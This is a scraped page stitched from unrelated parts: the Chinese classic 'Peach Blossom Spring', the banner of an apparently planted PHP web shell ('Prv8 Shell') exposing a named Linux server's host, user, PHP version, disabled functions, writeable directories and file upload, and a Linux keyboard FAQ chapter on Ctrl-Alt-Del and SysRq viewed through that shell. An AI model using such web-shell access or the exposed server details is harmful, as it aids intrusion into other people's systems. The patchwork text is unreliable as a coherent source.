晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/kbd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/kbd/kbd.FAQ-8.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
 <META NAME="GENERATOR" CONTENT="SGML-Tools 1.0.9">
 <TITLE>The Linux keyboard and console HOWTO: Ctrl-Alt-Del and other special key combinations</TITLE>
 <LINK HREF="kbd.FAQ-9.html" REL=next>
 <LINK HREF="kbd.FAQ-7.html" REL=previous>
 <LINK HREF="kbd.FAQ.html#toc8" REL=contents>
</HEAD>
<BODY>
<A HREF="kbd.FAQ-9.html">Next</A>
<A HREF="kbd.FAQ-7.html">Previous</A>
<A HREF="kbd.FAQ.html#toc8">Contents</A>
<HR>
<H2><A NAME="s8">8. Ctrl-Alt-Del and other special key combinations</A></H2>

<P>
<P>
<H2><A NAME="ss8.1">8.1 Ctrl-Alt-Del (Boot)</A>
</H2>

<P>
<!--
ctrl-alt-del!action taken by
-->
<P>If you press Ctrl-Alt-Del (or whatever key was assigned the keysym Boot by
loadkeys) then either the machine reboots immediately (without sync), or
<CODE>init</CODE> is sent a SIGINT. The former behaviour is the default. The default
can be changed by root, using the system call reboot(), see ctrlaltdel(8).
Some <CODE>init</CODE>'s change the default. What happens when <CODE>init</CODE> gets SIGINT depends
on the version of <CODE>init</CODE> used - often it will be determined by the pf entry in
<CODE>/etc/inittab</CODE> (which means that you can run an arbitrary program
in this case).
In the current kernel Ctrl-AltGr-Del is no longer by default assigned to Boot.
<P>
<H2><A NAME="ss8.2">8.2 Other combinations</A>
</H2>

<P>
<!--
keyboard!special key combinations
-->

<!--
key combinations, special
-->
<P>
<PRE>
Name            Default binding
-------------------------------
Show_Memory     Shift-Scrollock
Show_Registers  AltGr-ScrollLock
Show_State      Ctrl-ScrollLock
Console_n       Alt-Fn and Ctrl-Alt-Fn  (1 &lt;= n &lt;= 12)
Console_{n+12}  AltGr-Fn                (1 &lt;= n &lt;= 12)
Incr_Console    Alt-RightArrow
Decr_Console    Alt-LeftArrow
Last_Console    Alt[Gr]-PrintScreen
Scroll_Backward Shift-PageUp
Scroll_Forward  Shift-PageDown
Caps_On                                 (CapsLock is a toggle; this key sets)
Compose         Ctrl-.
</PRE>
<P>
<H2><A NAME="ss8.3">8.3 X Combinations</A>
</H2>

<P>
<!--
keyboard!key combinations for X
-->

<!--
key combinations, X
-->

<!--
X!key combinations for
-->
<P>
<PRE>
Ctrl-Alt-Fn     Switch to VT n
Ctrl-Alt-KP+    Next mode
Ctrl-Alt-KP-    Previous mode
Ctrl-Alt-Backspace      Kill X
</PRE>

On some motherboards, Ctrl-Alt-KP- and Ctrl-Alt-KP+ will be equivalent to
pressing the Turbo button. That is, both will produce the scancodes
1d 38 4a ca b8 9d and 1d 38 4e ce b8 9d, and both will switch between
Turbo (&gt;= 25MHz) and non-Turbo (8 or 12 MHz).
(Often these key combinations only function this way when enabled
by jumpers on the motherboard.)
<P>Perry F Nguyen (<CODE>pfnguyen@netcom22.netcom.com</CODE>) writes:
AMI BIOS has a feature that locks up the keyboard and flashes the LED's
if the Ctrl-Alt-Backspace combination is pressed while a BIOS password
is enabled, until the CMOS/BIOS password is typed in.
<P>On some SiS based motherboards the combination Ctrl-Alt-Backspace
will cause a power off, or puts the machine in power save mode.
(Reported for SiS 630 and for SiS645DX.)
<P>
<H2><A NAME="ss8.4">8.4 Dosemu Combinations</A>
</H2>

<P>
<!--
key combinations!dosemu
-->

<!--
dosemu!key combinations for
-->
<P>
<PRE>
Ctrl-Alt-Fn     Switch to VT n (from version 0.50; earlier Alt-Fn)
Ctrl-Alt-PgDn   Kill dosemu (when in RAW keyboard mode)
(and many other combinations - see the dosemu documentation)
</PRE>
<P>
<H2><A NAME="ss8.5">8.5 Composing symbols</A>
</H2>

<P>
<!--
keyboard!composing symbols with
-->

<!--
symbols!composing with keyboard
-->
<P>One symbol may be constructed using several keystrokes.
<UL>
<LI>LeftAlt-press, followed by a decimal number typed on the keypad, followed
by LeftAlt-release, yields the symbol with code given by this number.
(In Unicode mode this same mechanism, but then with 4 hexadecimal digits,
may be used to define a Unicode symbol.)</LI>
<LI>A dead diacritic followed by a symbol, yields that symbol adorned with
that diacritic. If the combination is undefined, both keys are taken
separately.
Which keys are dead diacritics is user-settable; none is by default.
Five (since 2.0.25 six) dead diacritics can be defined (using loadkeys(1)):
dead_grave, dead_acute, dead_circumflex, dead_tilde, dead_diaeresis
(and dead_cedilla).
Precisely what this adorning means is also user-settable:
dead-diacritic, symbol is equivalent to Compose + diacritic + symbol.</LI>
<LI>Compose followed by two symbols yields a combination symbol. These
combinations are user-settable. Today there are 68 combinations
defined by default; you can see them by saying "dumpkeys | grep compose".</LI>
<LI>Then there are `Sticky' modifier keys (since 1.3.33). For example,
one can type Ctrl-C as SControl, C and Ctrl-Alt-BackSpace as SControl,
SAlt, BackSpace.</LI>
</UL>
<P>Note that there are at least four such composition mechanisms:
<OL>
<LI>The Linux keyboard driver mechanism, used in conjunction with loadkeys.</LI>
<LI>The X mechanism - see X386keybd(1), later XFree86kbd(1).
Under X11R6: edit <CODE>/usr/X11R6/lib/X11/locale/iso8859-1/Compose</CODE>.<P>See also Andrew D. Balsa's comments at
<A HREF="http://wauug.erols.com/~balsa/linux/deadkeys/index.html">http://wauug.erols.com/~balsa/linux/deadkeys/index.html</A>.
</LI>
<LI>The emacs mechanism obtained by loading "iso-insert.el" or
calling `iso-accents-mode'.</LI>
<LI>The vim mechanism: insert a composed symbol by pressing Ctrl-K
followed by two symbols. A list of the possible combinations is
obtained by the command <CODE>:digraphs</CODE>.</LI>
</OL>

For X the order of the two symbols is arbitrary: both Compose-,-c and
Compose-c-, yield a c-cedilla; for Linux and emacs only the former sequence
works by default. For X and vim the list of compose combinations is fixed.
Linux and emacs are flexible.
The default lists are somewhat similar, but the details are different.
<P>
<H2><A NAME="ss8.6">8.6 The SysRq key</A>
</H2>

<P>
<!--
SysRq key
-->

In case your kernel was compiled with CONFIG_MAGIC_SYSRQ enabled
(a feature that is present since Linux 2.1.43)
there is a single key (defined in <CODE>&lt;linux/keyboard.h&gt;</CODE>)
to which special system functions are attached, regardless of the
current keyboard mode. For the PC architecture this special key is,
naturally, the Alt+SysRq key, and any of the two Alt keys will work.
(Note that if CONFIG_MAGIC_SYSRQ was not enabled, the default action
of this key is to return to the previous console.)
<P>If you press this key, do not release it, and hit another key,
a corresponding action is performed. The action is performed whether
anybody is logged in or not, is root or not. For the details, see
<CODE>drivers/char/sysrq.c</CODE>. Since this feature is meant only
for kernel hackers, that should suffice. Still, let me add a few
remarks.
<P>For the key r the keyboard mode is reset to K_XLATE.
For the key k a SAK and console reset is done.
For the key b the machine is rebooted immediately.
(See, not something you want to have enabled on a production machine.)
For the key o the power is turned off (when the machine is capable of that).
For the key s an emergency sync is scheduled.
For the key u an emergency read-only remount is scheduled.
For the keys p,t,m various information is shown
(namely the same information also shown for RAlt,RCtrl,RShift+ScrollLock).
For the keys e,i,l all processes get a SIG_TERM or SIG_KILL, respectively;
for l even the init process is killed.
Digits set the log level. Anything else prints a short summary:
<CODE>SysRq: unRaw saK Boot Off Sync Unmount showPc showTasks showMem
loglevel0-8 tErm kIll killalL</CODE>.
<P>Note: These are very dangerous actions! And they do not use your
keymap - indeed, are meant for emergency cases where the state
of your keymap, or even of the entire kernel, is uncertain.
If you use a dvorak keyboard - bad luck! Most other people will
be able to survive: the dangerous letters A,M,Q,W,Y,Z that are
differently placed on English, French and German keyboards, are
not used for actions. (But if your finger slips and you hit L
instead of K - bye bye to your system.)
<P>In Linux 2.3.13 the possibility to enable/disable SysRq was added.
<BLOCKQUOTE><CODE>
<PRE>
        echo 0 > /proc/sys/kernel/sysrq
</PRE>
</CODE></BLOCKQUOTE>

will disable it (if the kernel was compiled with CONFIG_MAGIC_SYSRQ).
<P>
<H2><A NAME="ss8.7">8.7 Problems</A>
</H2>

<P>A good keyboard accurately reports multiple key presses.
Especially for people using a keyboard as Braille input device,
where they have to be able to press up to six keys simultaneously,
this is important. Many modern keyboards fail here due to sloppy
design and testing - they misreport or fail in other ways when
four or more keys are pressed simultaneously, sometimes already
when two non-modifier keys are pressed simultaneously.
This affects Linux users a bit: the SysRq key is not a modifier key,
and people report problems using Alt-SysRq-<I>X</I> for various
letters or digits <I>X</I>.
<P>Long ago a similar problem (`ghosting') was caused by the design
of the scan matrix: when three keys were pressed a fourth was
also seen. That problem was solved by the use of diodes.
Today it is the interface logic that is deficient.
<P>
<HR>
<A HREF="kbd.FAQ-9.html">Next</A>
<A HREF="kbd.FAQ-7.html">Previous</A>
<A HREF="kbd.FAQ.html#toc8">Contents</A>
</BODY>
</HTML>

haha - 2025